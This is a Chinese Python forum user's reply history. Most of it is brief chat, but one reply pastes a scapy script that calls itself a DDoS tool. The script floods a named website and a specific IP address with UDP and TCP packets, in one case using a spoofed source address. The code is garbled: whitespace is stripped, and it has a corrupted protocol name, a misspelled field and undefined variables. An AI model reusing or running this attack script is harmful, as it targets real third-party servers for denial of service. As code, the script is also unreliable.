Lv.1
签名:祈祷ing
在 【Python作品分享】冲刺吧,python!(1.29)【作品秀】 中回复
2021-08-29T22:42:03 点赞:0
在 【Python作品分享】Tkinter 答题系统【作品秀】 中回复
#-*-coding:'utf-8'-*- importtime importstruct fromthreadingimport* importsocket fromscapy.allimport* start=time.time() screenlock=Semaphore(value=1000) print('[^]HAQDDOsstart!') defDDos(): try: print('[*]SecondlayersofDDos') s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击 print(s[0].show()) except: print('[-]Thecauseofthemistake{}'.format(e)) try: print('[*]ThirdlayerDDos') p=srloop(IP(dst="www.dgjy.net",ttl=160)/UDP())#第三层攻击 print(p[0].show()) except: print('[-]Thecauseofthemistake{}'.format(s)) try: print('[*]Repeatedattacks') see=srp(IP(dst="113.108.127.169")/T喵(dport=[80,443]))#重复攻击 print(see[0].show()) except: print('[-]Thecauseofthemistake{}'.format(f)) try: data=struct.pack('=BHI',0x96,20,1000) pkt=IP(src='192.168.225.141',dst='113.108.127.169')/\ UDP(sport=12345,dport=[80,443])/data print('[*]DDoSattacksarebeingcarriedout!') screenlock.acquire() send(pkt,inter=1,count=160) except: print("[-]Thecauseofthemistake{}".format(g)) try: print('[*]DDos') gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP()) except: print('[-]causeofthemistake{}'.format(i)) t=Thread(target=DDos,args=()) t.start() end=time.time() print('[!]Timeconsumingofthisprogram,Thefirsttimeistheinitializationtime:',end-start)
2021-09-12T17:35:01 点赞:0
在 《关 于 我 P y t h o n 二 级 随 随 便 便 就 考 了 满 分 这 一 档 事》 中回复
ohhhhhh,(比模拟题简单吗,还是难一点?)
2021-09-17T21:31:17 点赞:0